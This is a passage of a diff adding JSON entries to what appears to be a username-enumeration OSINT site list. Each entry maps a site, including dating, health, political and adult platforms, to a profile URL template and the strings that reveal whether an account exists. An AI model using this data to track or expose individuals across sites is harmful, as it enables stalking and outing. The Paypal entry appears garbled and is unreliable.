"https://app.memrise.com/user/{account}/", + "e_code" : 200, + "e_string" : "followers", + "m_string" : "Memrise - Error", + "m_code" : 404, + "known" : ["alice", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Mastodon-meow.social", + "uri_check" : "https://meow.social/@{account}", + "e_code" : 200, + "e_string" : "- the mastodon instances for creatures", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["meow", "novra"], + "cat" : "social", + "valid" : true + }, + { + "name" : "message_me", + "uri_check" : "https://mssg.me/{account}", + "e_code" : 200, + "e_string" : "_id", + "m_string" : "404", + "m_code" : 404, + "known" : ["sue", "david"], + "cat" : "social", + "valid" : true + }, + { + "name" : "metacritic", + "uri_check" : "https://www.metacritic.com/user/{account}", + "e_code" : 200, + "e_string" : "'s Profile - Metacritic", + "m_string" : "Sign up to get your own profile - Metacritic</", + "m_code" : 200, + "known" : ["dev", "matt"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Microsoft Technet Community", + "uri_check" : "https://social.technet.microsoft.com/profile/{account}/", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "The resource you are looking for has been removed", + "m_code" : 404, + "known" : ["john", "test"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Minds", + "uri_check" : "https://www.minds.com/{account}/", + "e_code" : 200, + "e_string" : ") | Minds", + "m_string" : "Sorry, this channel doesn't appear to exist", + "m_code" : 404, + "known" : ["Willieleev1971", "john"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Minecraft List", + "uri_check" : "https://minecraftlist.com/players/{account}", + "e_code" : 200, + "e_string" : "-->was seen on", + "m_string" : "", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Myspreadshop", + "uri_check" : "https://myspreadshop.de/{account}/shopData/list", + "uri_pretty" : "https://{account}.myspreadshop.com", + "e_code" : 200, + "e_string" : "siteName", + "m_code" : 404, + "m_string" : "not found", + "known" : ["arukori", "honey"], + "cat" : "business", + "valid" : true + }, + { + "name" : "naija_planet", + "uri_check" : "https://naijaplanet.com/{account}", + "e_code" : 200, + "e_string" : "dating Profile, ", + "m_string" : "- NaijaPlanet!", + "m_code" : 200, + "known" : ["daniel01", "wales73"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "nairaland", + "uri_check" : "https://www.nairaland.com/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "404: Page Not Found", + "m_code" : 301, + "known" : ["amakaone", "seun"], + "cat" : "news", + "valid" : true + + }, + { + "name" : "NaturalNews", + "uri_check" : "https://naturalnews.com/author/{account}/", + "e_code" : 200, + "e_string" : "All posts by", + "m_string" : "The page you are looking for cannot be found or is no longer available.", + "m_code" : 200, + "known" : ["jdheyes", "healthranger"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Naver", + "uri_check" : "https://blog.naver.com/{account}", + "e_code" : 200, + "e_string" : " : 네이버 블로그", + "m_string" : "페이지를 찾을 수 없습니다", + "m_code" : 500, + "known" : ["bob", "blue"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Neocities", + "uri_check" : "https://neocities.org/site/{account}", + "e_code" : 200, + "e_string" : "noindex, follow", + "m_string" : "- Not Found", + "m_code" : 404, + "known" : ["fauux", "sadgrl"], + "cat" : "social", + "valid" : true + }, + { + "name" : "netvibes", + "uri_check" : "https://www.netvibes.com/{account}", + "e_code" : 200, + "e_string" : "userId", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["nebkacrea", "cdiljda"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Newgrounds", + "uri_check" : "https://{account}.newgrounds.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "fans", + "m_string" : "Whoops, that's a swing and a miss!", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "newmeet", + "uri_check" : "https://www.newmeet.com/en/profile/{account}", + "e_code" : 200, + "e_string" : "The profile of", + "m_string" : ", , , - |", + "m_code" : 200, + "known" : ["mamadou1", "wade"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "nihbuatjajan", + "uri_check" : "https://www.nihbuatjajan.com/{account}", + "e_code" : 200, + "e_string" : ") | Nih buat jajan", + "m_string" : "Nih Buat Jajan", + "m_code" : 302, + "known" : ["banyusadewa", "danirachmat"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Nitecrew (Mastodon Instance)", + "uri_check" : "https://nitecrew.rip/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://nitecrew.rip/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["Myxx", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "nnru", + "uri_check" : "https://{account}.www.nn.ru", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : " ", + "m_string" : "<title>Ошибка 404 -", + "m_code" : 404, + "known" : ["lena", "slava"], + "cat" : "social", + "valid" : true + }, + { + "name" : "NotABug", + "uri_check" : "https://notabug.org/{account}", + "e_code" : 200, + "e_string" : "followers and is following", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["notabug", "hp", "zPlus"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Note", + "uri_check" : "https://note.com/{account}", + "e_code" : 200, + "e_string" : "フォロワー", + "m_code" : 404, + "m_string" : "お探しのページが見つかりません。", + "known" : ["honey", "yui"], + "cat" : "social", + "valid" : true + }, + { + "name" : "oglaszamy24h.pl", + "uri_check" : "https://oglaszamy24h.pl/profil,{account}", + "e_code" : 200, + "e_string" : "Profil użytkownika:", + "m_string" : "Nieprawidłowy link, w bazie danych nie istnieje użytkownik o podanym loginie", + "m_code" : 404, + "known" : ["kowal", "janek"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "ogu.gg", + "uri_check" : "https://ogu.gg/{account}", + "e_code" : 200, + "e_string" : "Username History", + "m_code" : 404, + "m_string" : "The member you specified is either invalid or doesn't exist.", + "known" : ["input", "maxwell"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ok.ru", + "uri_check" : "https://ok.ru/{account}", + "e_code" : 200, + "e_string" : "| OK", + "m_string" : "This page does not exist on OK", + "m_code" : 404, + "known" : ["john", "aleksandrvasillev"], + "cat" : "social", + "valid" : true + }, + { + "name" : "okidoki", + "uri_check" : "https://m.okidoki.ee/ru/users/{account}/", + "e_code" : 200, + "e_string" : "Пользователь", + "m_string" : "Страница не найдена", + "m_code" : 404, + "known" : ["nastya3", "nastya"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "olx", + "uri_check" : "https://www.olx.pl/oferty/uzytkownik/{account}/", + "e_code" : 200, + "e_string" : "Obserwuj wyszukiwanie", + "m_string" : "Przepraszamy, ale nie możemy znaleźć takiej strony...", + "m_code" : 200, + "known" : ["janek", "test"], + "cat" : "shopping", + "valid" : false + }, + { + "name" : "omlet", + "uri_check" : "https://omlet.gg/profile/{account}", + "e_code" : 200, + "e_string" : "<title>Omlet Arcade -", + "m_string" : "Omlet Arcade", + "m_code" : 404, + "known" : ["hacker", "crypt0"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Opencollective", + "uri_check" : "https://opencollective.com/{account}", + "e_code" : 200, + "e_string" : "- Open Collective", + "m_string" : "Not Found", + "m_code" : 200, + "known" : ["john", "bob"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "opensource", + "uri_check" : "https://opensource.com/users/{account}", + "e_code" : 200, + "e_string" : "| Opensource.com", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["dave", "mike"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "OpenStreetMap", + "uri_check" : "https://www.openstreetmap.org/user/{account}", + "e_code" : 200, + "e_string" : "Mapper since:", + "m_string" : "does not exist", + "m_code" : 404, + "known" : ["kemkim"], + "cat" : "social", + "valid" : true + }, + { + "name" : "OPGG", + "uri_check" : "https://eune.op.gg/summoners/eune/{account}", + "e_code" : 200, + "e_string" : "- Summoner Stats - League of Legends", + "m_string" : "Guide - OP.GG", + "m_code" : 200, + "known" : ["xin", "carlos01"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Orbys", + "uri_check" : "https://orbys.net/{account}", + "e_code" : 200, + "e_string" : "profile_user_image", + "m_string" : "The page you are looking for cannot be found.", + "m_code" : 404, + "known" : ["txmustang302"], + "cat" : "social", + "valid" : true + }, + { + "name" : "osu!", + "uri_check" : "https://osu.ppy.sh/users/{account}", + "e_code" : 302, + "e_string" : "", + "m_string" : "User not found! ;_;", + "m_code" : 404, + "known" : ["stretches", "spiken8"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Our Freedom Book", + "uri_check" : "https://www.ourfreedombook.com/{account}", + "e_code" : 200, + "e_string" : "meta property=\"og:", + "m_string" : "Sorry, page not found", + "m_code" : 302, + "known" : ["DaveLipsky", "StarlaJene"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ow.ly", + "uri_check" : "http://ow.ly/user/{account}", + "e_code" : 200, + "e_string" : "Images", + "m_string" : "404 error", + "m_code" : 404, + "known" : ["StopAdMedia", "jokervendetti"], + "cat" : "social", + "valid" : true + }, + { + "name" : "palnet", + "uri_check" : "https://www.palnet.io/@{account}", + "e_code" : 200, + "e_string" : " - PALnet", + "m_string" : "Unknown user account!", + "m_code" : 404, + "known" : ["abdul01", "hakim"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Parler", + "uri_check" : "https://parler.com/user/{account}", + "e_code" : 200, + "e_string" : "People to Follow", + "m_string" : "join Parler today", + "m_code" : 302, + "known" : ["DineshDsouza", "SeanHannity"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Parler archived profile", + "uri_check" : "http://archive.org/wayback/available?url=https://parler.com/profile/{account}", + "uri_pretty" : "https://web.archive.org/web/2/https://parler.com/profile/{account}", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["JoePags", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "Parler archived posts", + "uri_check" : "http://archive.org/wayback/available?url=https://parler.com/profile/{account}/posts", + "uri_pretty" : "https://web.archive.org/web/2/https://parler.com/profile/{account}/posts", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["JoePags", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "Pastebin", + "uri_check" : "https://pastebin.com/u/{account}", + "e_code" : 200, + "e_string" : "'s Pastebin", + "m_string" : "", + "m_code" : 404, + "known" : ["test", "john"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "patch", + "uri_check" : "https://patch.com/users/{account}", + "e_code" : 200, + "e_string" : "Patch User Profile", + "m_string" : "<title>Page not found", + "m_code" : 404, + "known" : ["dave", "bob"], + "cat" : "news", + "valid" : true + }, + { + "name" : "PatientsLikeMe", + "uri_check" : "https://www.patientslikeme.com/members/{account}", + "e_code" : 200, + "e_string" : "s profile | PatientsLikeMe", + "m_string" : "", + "m_code" : 302, + "known" : ["thjuland", "Pedro0703", "Hydropioneer"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Patreon", + "uri_check" : "https://www.patreon.com/{account}", + "e_code" : 200, + "e_string" : "full_name\":", + "m_string" : "errorCode\": 404,", + "m_code" : 404, + "known" : ["mubix", "doughboys"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Patriots Win", + "uri_check" : "https://patriots.win/u/{account}/", + "e_code" : 200, + "e_string" : "nav-user active register", + "m_string" : "An error occurred", + "m_code" : 500, + "known" : ["r3deleven", "MemeFactory"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Patronite", + "uri_check" : "https://patronite.pl/{account}", + "e_code" : 200, + "e_string" : "Zostań Patronem", + "m_string" : "Nie znaleźliśmy strony której szukasz.", + "m_code" : 404, + "known" : ["radio357", "radionowyswiat"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Paypal", + "uri_check" : "https://www.paypal.com/paypalme/{account}", + "e_code" : 200, + "e_string" : "userInfo", + "m_string" : "PayPal.MeFollowers", + "m_string" : "Sorry, this page doesn’t exist", + "m_code" : 404, + "known" : ["john", "test"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Pettingzoo.co (Mastodon Instance)", + "uri_check" : "https://pettingzoo.co/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://pettingzoo.co/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["tyr", "Disbear"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pewex", + "uri_check" : "https://retro.pewex.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza eksponaty od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["test", "ania"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Picsart", + "uri_check" : "https://picsart.com/u/{account}", + "post_body" : "", + "e_code" : 200, + "e_string" : "Profiles on Picsart", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["john", "john404"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Piekielni", + "uri_check" : "https://piekielni.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza historie od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["test", "janek"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "pikabu", + "uri_check" : "https://pikabu.ru/@{account}", + "e_code" : 200, + "e_string" : "— все посты пользователя", + "m_string" : "404. Страница не найдена", + "m_code" : 404, + "known" : ["igor01", "serguei"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pillowfort", + "uri_check" : "https://www.pillowfort.social/{account}", + "e_code" : 200, + "e_string" : "", + "m_code" : 404, + "m_string" : "That page does not exist, or you do not have the proper permissions to view it.", + "known" : ["MissMoonified", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "PinkBike", + "uri_check" : "https://www.pinkbike.com/u/{account}/", + "e_code" : 200, + "e_string" : "on Pinkbike", + "m_string" : "I couldn't find the page you were looking for", + "m_code" : 404, + "known" : ["whistlermountainbikepark", "paulhanson"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Pinterest", + "uri_check" : "https://www.pinterest.com/{account}/", + "e_code" : 200, + "e_string" : " - Profile | Pinterest", + "m_string" : "Whoops! We couldn't find that page", + "m_code" : 404, + "known" : ["test123", "frickcollection"], + "cat" : "social", + "valid" : true + }, + { + "name" : "pixelfed.social", + "uri_check" : "https://pixelfed.social/{account}", + "e_code" : 200, + "e_string" : "on pixelfed", + "m_string" : "pixelfed", + "m_code" : 404, + "known" : ["sarah", "john"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Playstation Network", + "uri_check" : "https://psnprofiles.com/xhr/search/users?q={account}", + "e_code" : 200, + "e_string" : "
    ", + "m_string" : "We couldn't find anything ", + "m_code" : 200, + "known" : ["SlimShaggy18", "ikemenzi"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Plurk", + "uri_check" : "https://www.plurk.com/{account}", + "e_code" : 200, + "e_string" : "Profile views", + "m_string" : "Register your plurk account", + "m_code" : 200, + "known" : ["test"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pokec", + "uri_check" : "https://pokec.azet.sk/{account}", + "post_body" : "", + "e_code" : 200, + "e_string" :"idReportedUser", + "m_string" : "Neexistujúci používateľ", + "m_code" : 404, + "known" : ["tobias", "brahim1"], + "cat" : "social", + "valid" : true + }, + { + "name" : "pokemonshowdown", + "uri_check" : "https://pokemonshowdown.com/users/{account}", + "e_code" : 200, + "e_string" : "Official ladder", + "m_string" : " (Unregistered)", + "m_code" : 404, + "known" : ["red", "blue"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Pokerstrategy", + "uri_check" : "http://www.pokerstrategy.net/user/{account}/profile/", + "e_code" : 200, + "e_string" : "User profile for", + "m_string" : "Sorry, the requested page couldn't be found!", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Polchat.pl", + "uri_check" : "https://polczat.pl/forum/profile/{account}/", + "e_code" : 200, + "e_string" : "Historia wpisów", + "m_string" : "Wybrany użytkownik nie istnieje.", + "m_code" : 200, + "known" : ["test","admin"], + "cat" : "social", + "valid" : true + }, + { + "name" : "policja2009", + "uri_check" : "http://www.policja2009.fora.pl/search.php?search_author={account}", + "e_code" : 200, + "e_string" : "Znaleziono", + "m_string" : "Nie znaleziono tematów ani postów pasujących do Twoich kryteriów", + "m_code" : 200, + "known" : ["Pvwel", "janek"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Poll Everywhere", + "uri_check" : "https://pollev.com/proxy/api/users/{account}", + "uri_pretty" : "https://pollev.com/{account}", + "e_code" : 200, + "e_string" : "name", + "m_string" : "ResourceNotFound", + "m_code" : 404, + "known" : ["josh", "jsmith"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Mastodon-pol.social", + "uri_check" : "https://pol.social/@{account}", + "e_code" : 200, + "e_string" : "@pol.social", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["ftdl", "ducensor"], + "cat" : "social", + "valid" : true + }, + { + "name" : "polygon", + "uri_check" : "https://www.polygon.com/users/{account}", + "e_code" : 200, + "e_string" : "- Polygon", + "m_string" : "404 Not found", + "m_code" : 404, + "known" : ["nicodeyo", "Nicole_Clark"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "popl", + "uri_check" : "https://poplme.co/{account}", + "e_code" : 200, + "e_string" : "MuiTypography-root MuiTypography-body1 css-kj7pvm", + "m_string" : "Profile not found", + "m_code" : 200, + "known" : ["rpelite","Ee0af3d822","ashleymetzger"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Pornhub Porn Stars", + "uri_check" : "https://www.pornhub.com/pornstar/{account}", + "e_code" : 200, + "e_string" : "Pornstar Rank", + "m_string" : "", + "m_code" : 301, + "known" : ["riley-reid", "alex-adams"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Pornhub Users", + "uri_check" : "https://www.pornhub.com/users/{account}", + "e_code" : 200, + "e_string" : "s Profile - Pornhub.com", + "m_string" : "Error Page Not Found", + "m_code" : 404, + "known" : ["test123"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Poshmark", + "uri_check" : "https://poshmark.com/closet/{account}", + "e_code" : 200, + "e_string" : " is using Poshmark to sell items from their closet.", + "m_string" : "Page not found - Poshmark", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "postcrossing", + "uri_check" : "https://www.postcrossing.com/user/{account}", + "e_code" : 200, + "e_string" : ", from", + "m_string" : "- Postcrossing", + "m_code" : 404, + "known" : ["Vladimir", "olga3"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Poweredbygay.social (Mastodon Instance)", + "uri_check" : "https://poweredbygay.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://poweredbygay.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["aggiepm", "eplumley1976"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pravda.me", + "uri_check" : "https://pravda.me/@{account}", + "e_code" : 200, + "e_string" : "Российская социальная сеть (by mastodon)", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["tass", "rt_russian"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Producthunt", + "uri_check" : "https://www.producthunt.com/@{account}", + "e_code" : 200, + "e_string" : "s profile on Product Hunt", + "m_string" : "Product Hunt - All newest Products", + "m_code" : 404, + "known" : ["alex", "jack"], + "cat" : "business", + "valid" : true + }, + { + "name" : "promodj", + "uri_check" : "https://promodj.com/{account}", + "e_code" : 200, + "e_string" : "Favorite styles", + "m_string" : "Page not found :(", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Pronouns.Page", + "uri_check" : "https://pronouns.page/api/profile/get/{account}?version=2", + "e_code" : 200, + "e_string" : "username", + "m_string" : "\"profiles\": {}", + "m_code" : 304, + "known" : ["cannabis_cervi", "user"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pronouny", + "uri_check" : "https://pronouny.xyz/api/users/profile/username/{account}", + "e_code" : 200, + "e_string" : "username", + "m_code" : 400, + "m_string" : "That user doesn't exist", + "known" : ["test", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Prose", + "uri_check" : "https://prose.astral.camp/{account}/", + "e_code" : 200, + "e_string" : "blog-title", + "m_code" : 404, + "m_string" : "Are you sure it was ever here?", + "known" : ["endeavorance", "overthinkification"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "prv.pl", + "uri_check" : "https://www.prv.pl/osoba/{account}", + "e_code" : 200, + "e_string" : "LOGIN", + "m_string" : "Użytkownik nie istnieje.", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Psstaudio", + "uri_check" : "https://psstaudio.com/u/{account}", + "e_code" : 200, + "e_string" : "id=\"profile_picture\"", + "m_code" : 404, + "m_string" : "We know you were looking for something, but it is not here", + "known" : ["JayeWilde", "baxter"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "public", + "uri_check" : "https://public.com/@{account}", + "e_code" : 200, + "e_string" : ") Investment Portfolio on Public", + "m_string" : "04 - Page Not Found - Public ", + "m_code" : 404, + "known" : ["igor1", "david2"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "pypi", + "uri_check" : "https://pypi.org/user/{account}/", + "e_code" : 200, + "e_string" : "Profile of", + "m_string" : "Page Not Found (404) · PyPI", + "m_code" : 404, + "known" : ["dev", "pydude"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "QUEER", + "uri_check" : "https://queer.pl/user/{account}", + "e_code" : 200, + "e_string" : "Społeczność", + "m_string" : "Strona nie została znaleziona", + "m_code" : 404, + "known" : ["test", "kowalski"], + "cat" : "social", + "valid" : true + }, + { + "name" : "quitter.pl", + "uri_check" : "https://quitter.pl/profile/{account}", + "e_code" : 200, + "e_string" : "@quitter.pl", + "m_string" : "Nie znaleziono", + "m_code" : 404, + "known" : ["divmod", "panoptykon"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Quora", + "uri_check" : "https://www.quora.com/profile/{account}", + "e_code" : 200, + "e_string" : "Credentials", + "m_string" : "Page Not Found", + "m_code" : 301, + "known" : ["John-Galan-5", "Alex-Clay"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Raddle.me", + "uri_check" : "https://raddle.me/user/{account}", + "e_code" : 200, + "e_string" : "sidebar__title", + "m_code" : 404, + "m_string" : "404 Not Found", + "known" : ["zephyr", "Archaplain"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Rant.li", + "uri_check" : "https://www.rant.li/{account}/", + "e_code" : 200, + "e_string" : "blog-title", + "m_code" : 404, + "m_string" : "Are you sure it was ever here?", + "known" : ["baretri", "arinbasu"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "ReblogMe", + "uri_check" : "https://{account}.reblogme.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "blogbody", + "m_string" : "Sorry, seems that blog doesn't exist", + "m_code" : 200, + "known" : ["staff", "chicken"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Refsheet", + "uri_check" : "https://refsheet.net/{account}", + "e_code" : 200, + "e_string" : "og:title", + "m_code" : 404, + "m_string" : "That's unfortunate. Where did it go?", + "known" : ["razzyaurealis", "saki"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "redbubble", + "uri_check" : "https://www.redbubble.com/people/{account}/shop", + "e_code" : 200, + "e_string" : "Shop | Redbubble", + "m_string" : "This is a lost cause.", + "m_code" : 404, + "known" : ["john", "blue"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Reddit", + "uri_check" : "https://www.reddit.com/user/{account}/about/.json", + "uri_pretty" : "https://www.reddit.com/user/{account}", + "e_code" : 200, + "e_string" : "total_karma", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["koavf", "alabasterheart"], + "cat" : "social", + "valid" : true + }, + { + "name" : "REDGIFS", + "uri_check" : "https://api.redgifs.com/v1/users/{account}", + "uri_pretty" : "https://www.redgifs.com/users/{account}", + "e_code" : 200, + "e_string" : "followers", + "m_string" : "user account not found for ", + "m_code" : 404, + "known" : ["alexbreecooper", "Jose-Roberto-Rasi"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Researchgate", + "uri_check" : "https://www.researchgate.net/profile/{account}", + "e_code" : 200, + "e_string" : " | ", + "m_string" : "20+ million researchers on ResearchGate", + "m_code" : 301, + "known" : ["Tafara-Mwareya", "Jose-Roberto-Rasi"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "resumes_actorsaccess", + "uri_check" : "https://resumes.actorsaccess.com/{account}", + "e_code" : 200, + "e_string" : "- Resume | Actors Access", + "m_string" : "File was not found on this SERVER", + "m_code" : 200, + "known" : ["veronicashelby", "sarahstipe"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Revolut", + "uri_check" : "https://revolut.me/api/web-profile/{account}", + "uri_pretty" : "https://revolut.me/{account}", + "e_code" : 200, + "e_string" : "\"firstName\"", + "m_code" : 404, + "m_string" : "\"User not found\"", + "known" : ["theaswdc", "honey"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Mastodon-rigcz.club", + "uri_check" : "https://rigcz.club/@{account}", + "e_code" : 200, + "e_string" : "@rigcz.club", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["blazej", "adam"], + "cat" : "social", + "valid" : true + }, + { + "name" : "risk.ru", + "uri_check" : "https://risk.ru/people/{account}", + "e_code" : 200, + "e_string" : "— Люди — Risk.ru", + "m_string" : "404 — Risk.ru", + "m_code" : 404, + "known" : ["igor1", "olga"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Roblox", + "uri_check" : "https://auth.roblox.com/v1/usernames/validate?username={account}&birthday=2019-12-31T23:00:00.000Z", + "uri_pretty" : "https://www.roblox.com/search/users?keyword={account}", + "e_code" : 200, + "e_string" : "Username is already in use", + "m_string" : "Username is valid", + "m_code" : 200, + "known" : ["LeetPawn", "elephant459"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "RoutineHub", + "uri_check" : "https://routinehub.co/user/{account}", + "e_code" : 200, + "e_string" : "Downloads: ", + "m_string" : "A community for Apple Shortcuts", + "m_code" : 200, + "known" : ["zachary7829", "JonathanSetzer"], + "cat" : "social", + "valid" : true + }, + { + "name" : "rsi", + "uri_check" : "https://robertsspaceindustries.com/citizens/{account}", + "e_code" : 200, + "e_string" : "CITIZEN DOSSIER", + "m_string" : "404 NAVIGATING UNCHARTED TERRITORY", + "m_code" : 404, + "known" : ["alpHackeronee", "Quantum_Physicist"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "ru_123rf", + "uri_check" : "https://ru.123rf.com/profile_{account}", + "e_code" : 200, + "e_string" : "- 123RF", + "m_string" : "Векторы, Видеоролики. Подписка", + "m_code" : 302, + "known" : ["ruslan", "olga"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "RumbleChannel", + "uri_check" : "https://rumble.com/c/{account}", + "e_code" : 200, + "e_string" : "href=https://rumble.com/c/", + "m_string" : "404 - Not found", + "m_code" : 404, + "known" : ["HodgeTwins", "SeanHannity"], + "cat" : "political", + "valid" : true + }, + { + "name" : "RumbleUser", + "uri_check" : "https://rumble.com/user/{account}", + "e_code" : 200, + "e_string" : " href=https://rumble.com/user/", + "m_string" : "404 - Not found", + "m_code" : 404, + "known" : ["SimonParkes", "djmrmusic"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Salon24", + "uri_check" : "https://www.salon24.pl/u/{account}/", + "e_code" : 200, + "e_string" : "Strona główna", + "m_string" : "Salon24 - blogi, newsy, opinie i komentarze", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "SaraCarterShow", + "uri_check" : "https://saraacarter.com/author/{account}/", + "e_code" : 200, + "e_string" : "| Sara A. Carter", + "m_string" : "Page not found - Sara A. Carter", + "m_code" : 301, + "known" : ["douglasbraff", "annaliese"], + "cat" : "political", + "valid" : true + }, + { + "name" : "ScoutWiki", + "uri_check" : "https://en.scoutwiki.org/User:{account}", + "e_code" : 200, + "e_string" : "NewPP limit report", + "m_string" : "is not registered", + "m_code" : 301, + "known" : ["Mlh_nl", "Benjism89"], + "cat" : "social", + "valid" : true + }, + { + "name" : "scratch", + "uri_check" : "https://scratch.mit.edu/users/{account}/", + "e_code" : 200, + "e_string" : "on Scratch", + "m_string" : "We couldn't find the page you're looking for.", + "m_code" : 404, + "known" : ["griffpatch"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "secure_donation", + "uri_check" : "https://secure.donationpay.org/{account}/", + "e_code" : 200, + "e_string" : "| DonationPay", + "m_string" : "secure.donationpay.org", + "m_code" : 404, + "known" : ["rareimpact", "safc"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Seneporno", + "uri_check" : "https://seneporno.com/user/{account}", + "e_code" : 200, + "e_string" : "Dernier Login", + "m_string" : "Unexpected error! Please contact us and tell us more how you got to this page!", + "m_code" : 301, + "known" : ["Kalsobbc", "Boymariste"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "sentimente", + "uri_check" : "https://www.sentimente.com/amp/{account}.html", + "e_code" : 200, + "e_string" :"Chat online with", + "m_string" : "HTTP Error code: 404. Resource not found", + 